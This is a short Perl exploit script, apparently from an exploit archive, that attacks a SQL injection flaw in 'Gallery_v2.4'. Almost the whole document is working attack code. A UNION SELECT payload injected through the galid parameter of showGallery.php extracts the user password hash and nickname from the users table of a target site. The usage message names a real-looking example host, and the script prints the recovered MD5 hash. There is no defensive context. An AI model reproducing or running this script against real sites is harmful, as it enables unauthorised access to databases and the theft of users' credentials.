Gallery_v2.4 SQL Injection

[abducter_minds () yahoo com]

#!/bin/env perl
#------------------------------------------------------------#
#-      Warning :- (ABDUCTER) Behind U BY (ABDUCTER_MINDS () S4A CC) OR (ABDUCTER_MINDS () YAHOO COM)
#-      [!]     ==|| Gallery_v2.4 SQL Injection ||==
#-              Gr33tz :-                                                              
#-                      N0N0 (MY LOVE)                                                                                  
                                 
#-                      WWW.S4A.CC  
#-                      Devil-00               
#-                      FOR ALL ARABIAN COUNTRIES                                                                       
                                                  
#------------------------------------------------------------#
use LWP::Simple;

print "\n\n==========================================\n";
print "\n= Exploit for Gallery_v2.4                    ";
print "\n=   BY    |(ABDUCTER_MINDS[at]YAHOO.COM)|     ";                               
print "\n=             FOR ALL ARAB WWW.S4A.CC         ";                       
print "\n============================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
  print "\n==|| Warning ABDUCTER Behind U ||==";        
  print "\nUsage:\nperl $0 [host+script]\n\nExample:\nperl $0 http://tonioc.free.fr/gallery/ 1\n";
  exit(0);
}
$url = 
"/showGallery.php?galid=-1%20UNION%20SELECT%20id,null,null,passw,null,nick,null,null,null,null,nick,null%20FROM%20users%20WHERE%20id=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<SPAN class="strong"><b>(.*?)<\/b>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);